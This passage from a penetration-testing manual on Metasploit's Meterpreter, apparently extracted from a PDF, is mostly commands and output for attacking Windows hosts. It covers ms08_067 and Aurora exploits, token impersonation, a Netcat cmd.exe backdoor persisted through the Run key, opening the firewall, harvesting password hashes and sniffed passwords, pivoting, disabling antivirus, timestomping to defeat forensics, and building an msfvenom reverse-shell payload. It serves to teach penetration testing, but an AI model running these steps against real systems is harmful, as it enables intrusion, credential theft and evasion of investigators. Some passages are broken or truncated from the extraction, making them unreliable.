compromising a system. This was integrated into Metasploit and ultimately into Meterpreter. You can read more
about Incognito and how token stealing works via Luke Jennings original paper.
In a nutshell, tokens are just like web cookies. They are a temporary key that allows you to access the system and
network without having to provide credentials each time you access a file. Incognito exploits this the same way cookie
stealing works, by replaying that temporary key when asked to authenticate. There are two types of tokens: delegate
and impersonate. Delegate tokens are created for ‘interactive’ logons, such as logging into the machine or connecting
to it via Remote Desktop. Impersonate tokens are for ‘non-interactive’ sessions, such as attaching a network drive or
a domain logon script. The other great things about tokens? They persist until a reboot. When a user logs off, their
delegate token is reported as an impersonate token, but will still hold all of the rights of a delegate token.
• TIP: File servers are virtual treasure troves of tokens since most file servers are used as network attached drives
via domain logon scripts
Once you have a Meterpreter session, you can impersonate valid tokens on the system and become that specific user
without ever having to worry about credentials, or for that matter, even hashes. During a penetration test, this is
especially useful due to the fact that tokens have the possibility of allowing local and/or domain privilege escalation,
enabling you alternate avenues with potentially elevated privileges to multiple systems.
First, let’s load up our favorite exploit, ms08_067_netapi, with a Meterpreter payload. Note that we manually set the
target because this particular exploit does not always auto-detect the target properly. Setting it to a known target will
ensure the right memory addresses are used for exploitation.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 10.211.55.140
RHOST => 10.211.55.140
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
(continues on next page)
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
8 Windows 2003 SP2 English (NO NX)
9 Windows 2003 SP2 English (NX)
10 Windows XP SP2 Arabic (NX)
11 Windows XP SP2 Chinese - Traditional / Taiwan (NX)
meterpreter >
We now have a Meterpreter console from which we will begin our incognito token attack. Like priv (hashdump and
timestomp) and stdapi (upload, download, etc.), incognito is a Meterpreter module. We load the module into our
Meterpreter session by executing the ‘use incognito‘ command. Issuing the help command shows us the variety of
options we have for incognito and brief descriptions of each option.
Incognito Commands
==================
Command Description
------- -----------
add_group_user Attempt to add a user to a global group with all tokens
(continues on next page)
meterpreter >
What we will need to do first is identify if there are any valid tokens on this system. Depending on the level of
access that your exploit provides, you are limited in the tokens you are able to view. When it comes to token stealing,
SYSTEM is king. As SYSTEM you are allowed to see and use any token on the box.
• TIP: Administrators don’t have access to all the tokens either, but they do have the ability to migrate to SYSTEM
processes, effectively making them SYSTEM and able to see all the tokens available.
meterpreter > list_tokens -u
meterpreter >
We see here that there is a valid Administrator token that looks to be of interest. We now need to impersonate this
token in order to assume its privileges. When issuing the impersonate_token command, note the two backslashes in
“SNEAKS.IN\ Administrator”. This is required as it causes bugs with just one slash. Note also that after successfully
impersonating a token, we check our current userID by executing the getuid command.
meterpreter > impersonate_token SNEAKS.IN\\Administrator
[+] Delegation token available
[+] Successfully impersonated user SNEAKS.IN\Administrator
meterpreter > getuid
Server username: SNEAKS.IN\Administrator
meterpreter >
Next, let’s run a shell as this individual account by running ‘execute -f cmd.exe -i -t‘ from within Meterpreter. The
‘execute -f cmd.exe‘ is telling Metasploit to execute cmd.exe, the -i allows us to interact with the victims PC, and the
-t assumes the role we just impersonated through incognito.
meterpreter > shell
Process 2804 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32> whoami
whoami
SNEAKS.IN\administrator
C:\WINDOWS\system32>
The Windows registry is a magical place where, with just a few keystrokes, you can render a system virtually unusable.
So, be very careful on this next section as mistakes can be painful.
Meterpreter has some very useful functions for registry interaction. Let’s look at the options.
OPTIONS:
Here we can see there are various options we can use to interact with the remote system. We have the full options of
reading, writing, creating, and deleting remote registry entries. These can be used for any number of actions, including
remote information gathering. Using the registry, one can find what files have been used, web sites visited in Internet
Explorer, programs used, USB devices used, and so on.
There is a great quick reference list of these interesting registry entries published by Access Data, as well as any
number of Internet references worth finding when there is something specific you are looking for.
In this example, instead of looking up information on the remote system, we will be installing a Netcat backdoor. This
includes changes to the system registry and firewall.
First, we must upload a copy of Netcat to the remote system.
Afterwards, we work with the registry to have netcat execute on start up and listen on port 445. We do this by editing
the key ‘HKLMsoftwaremicrosoftwindowscurrentversionrun’.
Values (3):
(continues on next page)
VMware Tools
VMware User Process
quicktftpserver
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: nc
Type: REG_SZ
Data: C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe
Next, we need to alter the system to allow remote connections through the firewall to our Netcat backdoor. We open
up an interactive command prompt and use the ‘netsh’ command to make the changes as it is far less error-prone
than altering the registry directly. Plus, the process shown should work across more versions of Windows, as registry
locations and functions are highly version and patch level dependent.
We open up port 445 in the firewall and double-check that it was set properly.
C:\Documents and Settings\Jim\My Documents > netsh firewall add portopening TCP 445
˓→"Service Firewall" ENABLE ALL
netsh firewall add portopening TCP 445 "Service Firewall" ENABLE ALL
Ok.
So with that being completed, we will reboot the remote system and test out the Netcat shell.
05/03/2009 01:43 AM
.
05/03/2009 01:43 AM
..
05/03/2009 01:26 AM 0 ;i
05/12/2009 10:53 PM
Desktop
10/29/2008 05:55 PM
Favorites
05/12/2009 10:53 PM
My Documents
05/03/2009 01:43 AM 0 QCY
10/29/2008 03:51 AM
Start Menu
05/03/2009 01:25 AM 0 talltelnet.log
05/03/2009 01:25 AM 0 talltftp.log
4 File(s) 0 bytes
6 Dir(s) 35,540,791,296 bytes free
Wonderful! In a real world situation, we would not be using such a simple backdoor as this, with no authentication or
encryption, however the principles of this process remain the same for other changes to the system, and other sorts of
programs one might want to execute on start up.
Let’s look at another situation where Metasploit makes it very easy to backdoor the system using nothing more than
built-in system tools. We will utilize Carlos Perez’s ‘getgui’ script, which enables Remote Desktop and creates a user
account for you to log into it with. Use of this script could not be easier.
OPTIONS:
meterpreter >
And we are done! That is it. Let’s test the connection to see if it can really be that easy.
And here we see that it is. We used the ‘rdesktop’ command and specified the username and password we want to use
for the log in. We then received an error message letting us know a user was already logged into the console of the
system, and that if we continue, that user will be disconnected. This is expected behaviour for a Windows XP desktop
system, so we can see everything is working as expected. Note that Windows Server allows concurrent graphical
logons so you may not encounter this warning message.
Remember, these sorts of changes can be very powerful. However, use that power wisely, as all of these steps alter the
systems in ways that can be used by investigators to track what sort of actions were taken on the system. The more
changes that are made, the more evidence you leave behind.
When you are done with the current system, you will want to run the cleanup script provided to remove the added
account.
Meterpreter has the capability of packet sniffing the remote host without ever touching the hard disk. This is especially
useful if we want to monitor what type of information is being sent, and even better, this is probably the start of multiple
auxiliary modules that will ultimately look for sensitive data within the capture files. The sniffer module can store up
to 200,000 packets in a ring buffer and exports them in standard PCAP format so you can process them using psnuffle,
dsniff, wireshark, etc.
We first fire off our remote exploit toward the victim and gain our standard reverse Meterpreter console.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpeter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.211.55.126
msf exploit(ms08_067_netapi) > set RHOST 10.10.1.119
msf exploit(ms08_067_netapi) > exploit
From here we initiate the sniffer on interface 2 and start collecting packets. We then dump the sniffer output to
/tmp/all.cap.
meterpreter > use sniffer
Loading extension sniffer...success.
Sniffer Commands
================
Command Description
------- -----------
sniffer_dump Retrieve captured packet data
sniffer_interfaces List all remote sniffable interfaces
sniffer_start Capture packets on a previously opened interface
sniffer_stats View statistics of an active capture
sniffer_stop Stop packet captures on the specified interface
We can now use our favorite parser or packet analysis tool to review the information intercepted.
The Meterpreter packet sniffer uses the MicroOLAP Packet Sniffer SDK and can sniff the packets from the victim
machine without ever having to install any drivers or write to the file system. The module is smart enough to realize its
own traffic as well and will automatically remove any traffic from the Meterpreter interaction. In addition, Meterpreter
pipes all information through an SSL/TLS tunnel and is fully encrypted.
packetrecorder
As an alternative to using the sniffer extension, Carlos Perez wrote the packetrecorder Meterpreter script that allows for
some more granularity when capturing packets. To see what options are available, we issue the “run packetrecorder”
command without any arguments.
OPTIONS:
-h Help menu.
-i Interface ID number where all packet capture will be done.
-l Specify and alternate folder to save PCAP file.
-li List interfaces that can be used for capture.
-t Time interval in seconds between recollection of packet, default 30 seconds.
Before we start sniffing traffic, we first need to determine which interfaces are available to us.
We will begin sniffing traffic on the second interface, saving the logs to the desktop of our Kali system and let the
sniffer run for awhile.
meterpreter > run packetrecorder -i 2 -l /root/
[*] Starting Packet capture on interface 2
[+] Packet capture started
[*] Packets being saved in to /root/logs/packetrecorder/XEN-XP-SP2-BARE_20101119.5105/
˓→XEN-XP-SP2-BARE_20101119.5105.cap
There is now a capture file waiting for us that can be analyzed in a tool such as Wireshark or tshark. We will take a
quick look to see if we captured anything interesting.
root@kali:~/logs/packetrecorder/XEN-XP-SP2-BARE_20101119.5105# tshark -r XEN-XP-SP2-
˓→BARE_20101119.5105.cap |grep PASS
Running as user "root" and group "root". This could be dangerous.
2489 82.000000 192.168.1.201 -> 209.132.183.61 FTP Request: PASS s3cr3t
2685 96.000000 192.168.1.201 -> 209.132.183.61 FTP Request: PASS s3cr3t
4.7.9 Pivoting
Pivoting is the unique technique of using an instance (also referred to as a ‘plant’ or ‘foothold’) to be able to “move”
around inside a network. Basically using the first compromise to allow and even aid in the compromise of other
otherwise inaccessible systems. In this scenario we will be using it for routing traffic from a normally non-routable
network.
For example, we are a pentester for Security-R-Us. You pull the company directory and decide to target a user in the
target IT department. You call up the user and claim you are from a vendor and would like them to visit your website
in order to download a security patch. At the URL you are pointing them to, you are running an Internet Explorer
exploit.
msf > use exploit/windows/browser/ms10_002_aurora
msf exploit(ms10_002_aurora) > show options
Module options:
Exploit target:
Id Name
-- ----
0 Automatic
When the target visits our malicious URL, a meterpreter session is opened for us giving full access the the system.
Active sessions
===============
Id Type Information
˓→ Connection
-- ---- ----------- ---------
˓→-
When we connect to our meterpreter session, we run ipconfig and see that the exploited system is dual-homed, a
common configuration amongst IT staff.
meterpreter >
We want to leverage this newly discovered information and attack this additional network. Metasploit has an autoroute
meterpreter script that will allow us to attack this second network through our first compromised machine.
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available
˓→routes
meterpreter >
Now that we have added our additional route, we will escalate to SYSTEM, dump the password hashes, and back-
ground our meterpreter session by pressing Ctrl-z.
Administrator:500:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9a6ae26408b0629ddc621c90c897b42d:07a59dbe14e2ea9c4792e2f189e2de3a:::
SUPPORT_
˓→388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ebf9fa44b3204029db5a8a77f5350160:::
victim:1004:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >
Background session 1? [y/N]
msf exploit(ms10_002_aurora) >
Now we need to determine if there are other systems on this second network we have discovered. We will use a basic
TCP port scanner to look for ports 139 and 445.
Module options:
We have discovered an additional machine on this network with ports 139 and 445 open so we will try to re-use
our gathered password hash with the psexec exploit module. Since many companies use imaging software, the local
Administrator password is frequently the same across the entire enterprise.
Module options:
Exploit target:
Id Name
-- ----
0 Automatic
meterpreter >
Our attack has been successful! You can see in the above output that we have a meterpreter session connecting to
10.1.13.2 via our existing meterpreter session with 192.168.1.201. Running ipconfig on our newly compromised
machine shows that we have reached a system that is not normally accessible to us.
meterpreter >
As you can see, pivoting is an extremely powerful feature and is a critical capability to have on penetration tests.
Portfwd
The portfwd command from within the Meterpreter shell is most commonly used as a pivoting technique, allowing
direct access to machines otherwise inaccessible from the attacking system. Running this command on a compromised
host with access to both the attacker and destination network (or system), we can essentially forward TCP connections
through this machine, effectively making it a pivot point. Much like the port forwarding technique used with an ssh
connection, portfwd will relay TCP connections to and from the connected machines.
Help
From an active Meterpreter session, typing portfwd –h will display the command’s various options and arguments.
Options
• -L: Use to specify the listening host. Unless you need the forwarding to occur on a specific network adapter you
can omit this option.If none is entered 0.0.0.0 will be used.
• add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel
will also exist outside the Metasploit console, making it available to any terminal session.
• -l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine,
as long as it’s not already being used.
• -p 3389 is the destination port on our targeting host.
• -r [target host] is the our targeted system’s IP or hostname.
Delete
Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would
type the following:
LIST
This argument needs no options and provides us with a list of currently listening and forwarded ports.
FLUSH
This argument will allow us to remove all the local port forward at once.
Example Usage:
In this example, we will open a port on our local machine and have our Meterpreter session forward a connection
to our victim on that same port. We’ll be using port 3389, which is the Windows default port for Remote Desktop
connections.
Here are the players involved:
C:\> ipconfig
Windows IP Configuration
C:\>
root@kali:~#
First we setup the port forwarding on our pivot using the following command:
We verify that port 3389 is listening by issuing the netstat command from another terminal.
.....
tcp 0 0 0.0.0.0:3389 0.0.0.0:* LISTEN 2045/.
˓→ruby.bin
.....
tcp6 0 0 :::22 :::* LISTEN 8397/
˓→sshd
root@kali:~#
We can see 0.0.0.0 is listening on port 3389 as well as the connection to our pivot machine on port 4444.
From here, we can initiate a remote desktop connection to our local 3389 port. Which will be forwarded to our victim
machine on the corresponding port.
Another example of portfwd usage is using it to forward exploit modules such as “MS08-067”. Using the same
technique as show previously, it’s just a matter of forwarding the correct ports for the desired exploit.
Here we forwarded port 445, which is the port associated with Windows Server Message Block (SMB). Configuring
our module target host and port to our forwarded socket. The exploit is sent via our pivot to the victim machine.
Exploit target:
Id Name
-- ----
0 Automatic Targeting
C:\WINDOWS\system32>
4.7.10 TimeStomp
Interacting with most file systems is like walking in the snow. . . you will leave footprints. How detailed those footprints
are, how much can be learned from them, and how long they last all depends on various circumstances. The art of
analyzing these artifacts is digital forensics. For various reasons, when conducting a penetration test you may want to
make it hard for a forensic analyst to determine the actions that you took.
The best way to avoid detection by a forensic investigation is simple: Don’t touch the filesystem! This is one of
the beautiful things about Meterpreter, it loads into memory without writing anything to disk, greatly minimizing the
artifacts it leaves on a system. However, in many cases you may have to interact with the filesystem in some way. In
those cases timestomp can be a great tool.
Let’s look at a file on the system and the MAC (Modified, Accessed, Changed) times of the file:
We will now start by exploiting the system and loading up a Meterpreter session. After that, we will load the timestomp
module and take a quick look at the file in question.
OPTIONS:
Let’s look at the MAC times displayed. We see that the file was created recently. Let’s pretend for a minute that this
is a super secret tool that we need to hide. One way to do this might be to set the MAC times to match the MAC times
of another file on the system. Let’s copy the MAC times from cmd.exe to test.txt to make it blend in a little better.
There we go! Now it looks as if the text.txt file was created on Dec 7th, 1999. Let’s see how it looks from Windows.
Success! Notice there are some slight differences between the times through Windows and Metasploit. This is due to
the way the timezones are displayed. Windows is displaying the time in -0600, while Metasploit shows the MC times
as -0500. When adjusted for the timezone differences, we can see that they match. Also notice that the act of checking
the files information within Windows altered the last accessed time. This just goes to show how fragile MAC times
can be, and why great care has to be taken when interacting with them.
Let’s now make a different change. In the previous example, we were looking to make the changes blend in but in
some cases, this just isn’t realistic and the best you can hope for is to make it harder for an investigator to identify
when changes actually occurred. For those situations, timestomp has a great option (-b for blank) where it zeros out
the MAC times for a file. Let’s take a look.
When parsing the MAC times, timestomp now lists them as having been created in the year 2106!. This is very
interesting, as some poorly written forensic tools have the same problem, and will crash when coming across entries
like this. Let’s see how the file looks in Windows.
Very interesting! Notice that times are no longer displayed, and the data is set to Jan 1, 1601. Any idea why that might
be the case? (Hint: http://en.wikipedia.org/wiki/1601#Notes)
meterpreter > cd C:\\WINNT
meterpreter > mkdir antivirus
Creating directory: antivirus
meterpreter > cd antivirus
meterpreter > pwd
C:\WINNT\antivirus
meterpreter > upload /usr/share/windows-binaries/fgdump c:\\WINNT\\antivirus\\
[*] uploading : /usr/share/windows-binaries/fgdump/servpw.exe ->
˓→c:WINNTantivirusPwDump.exe
meterpreter > ls
Listing: C:\WINNT\antivirus
===========================
With our files uploaded, we will now run timestomp on the them to confuse any potential investigator.
meterpreter > timestomp antivirus\\servpw.exe -v
Modified : 2017-05-09 16:23:18 -0600
Accessed : 2017-05-09 16:23:18 -0600
Created : 2017-05-09 16:23:18 -0600
Entry Modified: 2017-05-09 16:23:18 -0600
meterpreter > timestomp antivirus\\pstgdump.exe -v
Modified : 2017-05-09 16:23:20 -0600
Accessed : 2017-05-09 16:23:19 -0600
Created : 2017-05-09 16:23:19 -0600
Entry Modified: 2017-05-09 16:23:20 -0600
meterpreter > timestomp antivirus -r
[*] Blanking directory MACE attributes on antivirus
meterpreter > ls
40777/rwxrwxrwx 0 dir 1980-01-01 00:00:00 -0700 ..
100666/rw-rw-rw- 115 fil 2106-02-06 23:28:15 -0700 servpw.exe
100666/rw-rw-rw- 12165 fil 2106-02-06 23:28:15 -0700 pstgdump.exe
As you can see, Meterpreter can no longer get a proper directory listing.
However, there is something to consider in this case. We have hidden when an action occurred, yet it will still be very
obvious to an investigator where activity was happening. What would we do if we wanted to hide both when a toolkit
was uploaded, and where it was uploaded?
The easiest way to approach this is to zero out the times on the full drive. This will make the job of the investigator
very difficult, as traditional timeline analysis will not be possible. Let’s first look at our WINNTsystem32 directory.
img_01.png
Everything looks normal. Now, let’s shake the filesystem up really bad!
Listing: C:\
============
Listing: C:\
============
img_02.png
Amazing. Windows has no idea what is going on, and displays crazy times all over the place. Don’t get overconfident
however. By taking this action, you have also made it very obvious that some adverse activity has occurred on the
system. Also, there are many different sources of timeline information on a Windows system other than just MAC
times. If a forensic investigator came across a system that had been modified in this manner, they would be running to
these alternative information sources. However, the cost of conducting the investigation just went up.
Another feature of meterpreter is the ability to capture the victims desktop and save them on your system. Let’s take
a quick look at how this works. We’ll already assume you have a meterpreter console, we’ll take a look at what is on
the victims screen.
[*] Started bind handler
[*] Trying target Windows XP SP2 - English...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:34117 -> 192.168.1.104:4444)
meterpreter > ps
Process list
============
We can see how effective this was in migrating to the explorer.exe, be sure that the process your meterpreter is on has
access to active desktops or this will not work.
Information leakage is one of the largest threats that corporations face and much of it can be prevented by educating
users to properly secure their data. Users being users though, will frequently save data to their local workstations
instead of on the corporate servers where there is greater control.
Meterpreter has a search function that will, by default, scour all drives of the compromised computer looking for files
of your choosing.
OPTIONS:
-d The directory/drive to begin searching from. Leave empty to search all drives.
˓→ (Default: )
-f The file pattern glob to search for. (e.g. *secret*.doc?)
-h Help Banner.
-r Recursivly search sub directories. (Default: true)
To run a search for all jpeg files on the computer, simply run the search command with the ‘-f’ switch and tell it what
filetype to look for.
...snip...
Searching an entire computer can take a great deal of time and there is a chance that an observant user might notice
their hard drive thrashing constantly. We can reduce the search time by pointing it at a starting directory and letting it
run.
meterpreter > search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *.
˓→pdf
Found 2 results...
c:\documents and settings\administrator\desktop\operations_plan.pdf (244066 bytes)
c:\documents and settings\administrator\desktop\budget.pdf (244066 bytes)
meterpreter >
By running the search this way, you will notice a huge speed increase in the time it takes to complete.
The John The Ripper module is used to identify weak passwords that have been acquired as hashed files (loot) or raw
LANMAN/NTLM hashes (hashdump). The goal of this module is to find trivial passwords in a short amount of time.
To crack complex passwords or use large wordlists, John the Ripper should be used outside of Metasploit. This initial
version just handles LM/NTLM credentials from hashdump and uses the standard wordlist and rules.
msf auxiliary(handler) > use post/windows/gather/hashdump
msf post(hashdump) > set session 1
session => 1
Administrator:500:cb5f77772e5178b77b9fbd79429286db:b78fe104983b5c754a27c1784544fda7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:810185b1c0dd86dd756d138f54162df8:7b8f23708aec7107bfdf0925dbb2fed7:::
SUPPORT_
˓→388945a0:1002:aad3b435b51404eeaad3b435b51404ee:8be4bbf2ad7bd7cec4e1cdddcd4b052e:::
rAWjAW:1003:aad3b435b51404eeaad3b435b51404ee:117a2f6059824c686e7a16a137768a20:::
rAWjAW2:1004:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
guesses: 3 time: 0:00:00:04 DONE (Sat Jul 16 19:59:04 2011) c/s: 12951K trying:
˓→WIZ1900 - ZZZ1900
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
[*] Output: Loaded 7 password hashes with no different salts (LM DES [128/128 BS
˓→SSE2])
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
[*] Output: Loaded 7 password hashes with no different salts (LM DES [128/128 BS
˓→SSE2])
[*] Output: Loaded 7 password hashes with no different salts (LM DES [128/128 BS
˓→SSE2])
Use the "--show" option to display all of the cracked passwords reliably
[*] Output: Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 +
˓→32/32])
Use the "--show" option to display all of the cracked passwords reliably
[*] Output: Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 +
˓→32/32])
[*] Output: Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 +
˓→32/32])
One of the most powerful features of Meterpreter is the versatility and ease of adding additional features. This is
accomplished through the Meterpreter scripting environment. This section will cover the automation of tasks in a
Meterpreter session through the use of this scripting environment, how you can take advantage of Meterpreter scripting,
and how to write your own scripts to solve your unique needs.
Before diving right in, it is worth covering a few items. Like the rest of the Metasploit framework, the scripts we will
be dealing with are written in Ruby and located in the main Metasploit directory in scripts/meterpreter. If you are not
familiar with Ruby, a great resource for learning it is the online book “Programming Ruby”.
Before starting, please take a few minutes to review the current subversion repository of Meterpreter scripts. This is a
great resource to use to see how others are approaching problems, and possibly borrow code that may be of use to you.
Metasploit comes with a ton of useful scripts that can aid you in the Metasploit Framework. These scripts are typically
made by third parties and eventually adopted into the subversion repository. We’ll run through some of them and walk
you through how you can use them in your own penetration test.
The scripts mentioned below are intended to be used with a Meterpreter shell after the successful compromise of a
target. Once you have gained a session with the target you can utilize these scripts to best suit your needs.
checkvm
The ‘checkvm’ script, as its name suggests, checks to see if you exploited a virtual machine. This information can be
very useful.
getcountermeasure
The ‘getcountermeasure’ script checks the security configuration on the victims system and can disable other security
measures such as A/V, Firewall, and much more.
getgui
OPTIONS:
get_local_subnets
The ‘get_local_subnets’ script is used to get the local subnet mask of a victim. This can be very useful information to
have for pivoting.
gettelnet
OPTIONS:
hostsedit
The ‘hostsedit’ Meterpreter script is for adding entries to the Windows hosts file. Since Windows will check the hosts
file first instead of the configured DNS server, it will assist in diverting traffic to a fake entry or entries. Either a single
entry can be provided or a series of entries can be provided with a file containing one entry per line.
OPTIONS:
Example:
killav
The ‘killav’ script can be used to disable most antivirus programs running as a service on a target.
remotewinenum
The ‘remotewinenum’ script will enumerate system information through wmic on victim. Make note of where the logs
are stored.
OPTIONS:
-h Help menu.
-p Password of user on target system
-t The target address
-u User on the target system (If not provided it will use credential of process)
scraper
The ‘scraper’ script can grab even more system information, including the entire registry.
From our examples above we can see that there are plenty of Meterpreter scripts for us to enumerate a ton of informa-
tion, disable anti-virus for us, enable RDP, and much much more.
winenum
The ‘winenum’ script makes for a very detailed windows enumeration tool. It dumps tokens, hashes and much more.
There are a few things you need to keep in mind when creating a new meterpreter script.
• Not all versions of Windows are the same
• Some versions of Windows have security countermeasures for some of the commands
• Not all command line tools are in all versions of Windows.
• Some of the command line tools switches vary depending on the version of Windows
In short, the same constraints that you have when working with standard exploitation methods. MSF can be of great
help, but it can’t change the fundamentals of that target. Keeping this in mind can save a lot of frustration down the
road. So keep your target’s Windows version and service pack in mind, and build to it.
For our purposes, we are going to create a stand alone binary that will be run on the target system that will create a
reverse Meterpreter shell back to us. This will rule out any problems with an exploit as we work through our script
development.
root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
˓→LHOST=192.168.1.101 -b "\x00" -f exe -o Meterpreter.exe
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai chosen with final size 326
Payload size: 326 bytes
Saved as: Meterpreter.exe
Wonderful. Now, we move the executable to our Windows machine that will be our target for the script we are going
to write. We just have to set up our listener. To do this, lets create a short script to start up multi-handler for us.
root@kali:~# touch meterpreter.rc
root@kali:~# echo use exploit/multi/handler >> meterpreter.rc
root@kali:~# echo set PAYLOAD windows/meterpreter/reverse_tcp >> meterpreter.rc
root@kali:~# echo set LHOST 192.168.1.184 >> meterpreter.rc
(continues on next page)
Here we are using the exploit multi handler to receive our payload, we specify that the payload is a Meterpreter
reverse_tcp payload, we set the payload option, we make sure that the multi handler will not exit once it receives a
session since we might need to re-establish one due to an error or we might be testing under different versions of
Windows from different target hosts.
While working on the scripts, we will save the test scripts to /usr/share/metasploit-framework/scripts/meterpreter so
that they can be run.
Now, all that remains is to start up msfconsole with our our resource script.
As can be seen above, Metasploit is listening for a connection. We can now execute our executable in our Windows
host and we will receive a session. Once the session is established, we use the sessions command with the –i switch
and the number of the session to interact with it:
meterpreter >
Now that we have a feel for how to use irb to test API calls, let’s look at what objects are returned and test basic
constructs. Now, no first script would be complete without the standard Hello World, so lets create a script named
helloworld.rb and save it to /usr/share/metasploit-framework/scripts/meterpreter.
We now execute our script from the console by using the run command.
Now, lets build upon this base. We will add a couple of other API calls to the script. Add these lines to the script:
print_error(“this is an error!”)
print_line(“this is a line”)
Much like the concept of standard in, standard out, and standard error, these different lines for status, error, and line
all serve different purposes on giving information to the user running the script.
Now, when we execute our file we get:
helloworld.rb
print_status("Hello World")
print_error("this is an error!")
print_line("This is a line")
Wonderful! Let’s go a bit further and create a function to print some general information and add error handling to it
in a second file. This new function will have the following architecture:
def geninfo(session)
begin
.....
rescue ::Exception => e
.....
end
end
The use of functions allows us to make our code modular and more re-usable. This error handling will aid us in the
troubleshooting of our scripts, so using some of the API calls we covered previously, we could build a function that
looks like this:
def getinfo(session)
begin
sysnfo = session.sys.config.sysinfo
runpriv = session.sys.config.getuid
print_status("Getting system information ...")
print_status("tThe target machine OS is #{sysnfo['OS']}")
print_status("tThe computer name is #{'Computer'} ")
print_status("tScript running as #{runpriv}")
rescue ::Exception => e
(continues on next page)
Let’s break down what we are doing here. We define a function named getinfo which takes one paramater that we are
placing in a local variable named ‘session’. This variable has a couple methods that are called on it to extract system
and user information, after which we print a couple of status lines that report the findings from the methods. In some
cases, the information we are printing comes out from a hash, so we have to be sure to call the variable correctly. We
also have an error handler placed in there that will return what ever error message we might encounter.
Now that we have this function, we just have to call it and give it the Meterpreter client session. To call it, we just
place the following at the end of our script:
getinfo(client)
Now we execute the script and we can see the output of it:
helloworld2.rb
def getinfo(session)
begin
sysnfo = session.sys.config.sysinfo
runpriv = session.sys.config.getuid
print_status("Getting system information ...")
print_status("tThe target machine OS is #{sysnfo['OS']}")
print _status("tThe computer name is #{'Computer'} ")
print_status("tScript running as #{runpriv}")
rescue ::Exception => e
print_error("The following error was encountered #{e}")
end
end
getinfo(client)
As you can see, these very simple steps build up to give us the basics for creating advanced Meterpreter scripts. Let’s
expand on this script to gather more information on our target. Let’s create another function for executing commands
and printing their output:
def list_exec(session,cmdlst)
print_status("Running Command List ...")
r=''
session.response_timeout=120
cmdlst.each do |cmd|
begin
print_status "trunning command #{cmd}"
r = session.sys.process.execute(“cmd.exe /c #{cmd}”, nil, {'Hidden' => true,
˓→'Channelized' => true})
print_status("t#{d}")
end
r.channel.close
r.close
rescue ::Exception => e
print_error("Error Running Command #{cmd}: #{e.class} #{e}")
end
end
end
Again, lets break down what we are doing here. We define a function that takes two paramaters, the second of which
will be a array. A timeout is also established so that the function does not hang on us. We then set up a “for each”
loop that runs on the array that is passed to the function which will take each item in the array and execute it on the
system through cmd.exe /c, printing the status that is returned from the command execution. Finally, an error handler
is established to capture any issues that come up while executing the function.
Now we set an array of commands for enumerating the target host:
commands = [ “set”,
“ipconfig /all”,
“arp -a”]
meterpreter >
helloworld3.rb
def list_exec(session,cmdlst)
print_status("Running Command List ...")
r=''
session.response_timeout=120
cmdlst.each do |cmd|
begin
print_status "running command #{cmd}"
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true,
˓→'Channelized' => true})
while(d = r.channel.read)
print_status("t#{d}")
end
(continues on next page)
commands = [ "set",
"ipconfig /all",
"arp -a"]
list_exec(client,commands)
As you can see, creating custom Meterpreter scripts is not difficult if you take it one step at a time, building upon itself.
Just remember to frequently test, and refer back to the source on how various API calls operate.
We will cover some common API calls for scripting the Meterpreter and write a script using some of these API calls.
For further API calls and examples, look at the Command Dispacher code and the REX documentation that was
mentioned earlier.
For this, it is easiest for us to use the irb shell which can be used to run API calls directly and see what is returned by
these calls. We get into the irb by running the ‘irb’ command from the Meterpreter shell.
>>
We will start with calls for gathering information on the target. Let’s get the machine name of the target host. The API
call for this is ‘client.sys.config.sysinfo’
>> client.sys.config.sysinfo
=> {"OS"=>"Windows XP (Build 2600, Service Pack 3).", "Computer"=>"WINXPVM01"}
>>
As we can see in irb, a series of values were returned. If we want to know the type of values returned, we can use the
class object to learn what is returned:
>> client.sys.config.sysinfo.class
=> Hash
>>
We can see that we got a hash, so we can call elements of this hash through its key. Let’s say we want the OS version
only:
>> client.sys.config.sysinfo['OS']
=> "Windows XP (Build 2600, Service Pack 3)."
>>
Now let’s get the credentials under which the payload is running. For this, we use the ‘client.sys.config.getuid’ API
call:
>> client.sys.config.getuid
=> "WINXPVM01\labuser"
>>
To get the process ID under which the session is running, we use the ‘client.sys.process.getpid’ call which can be used
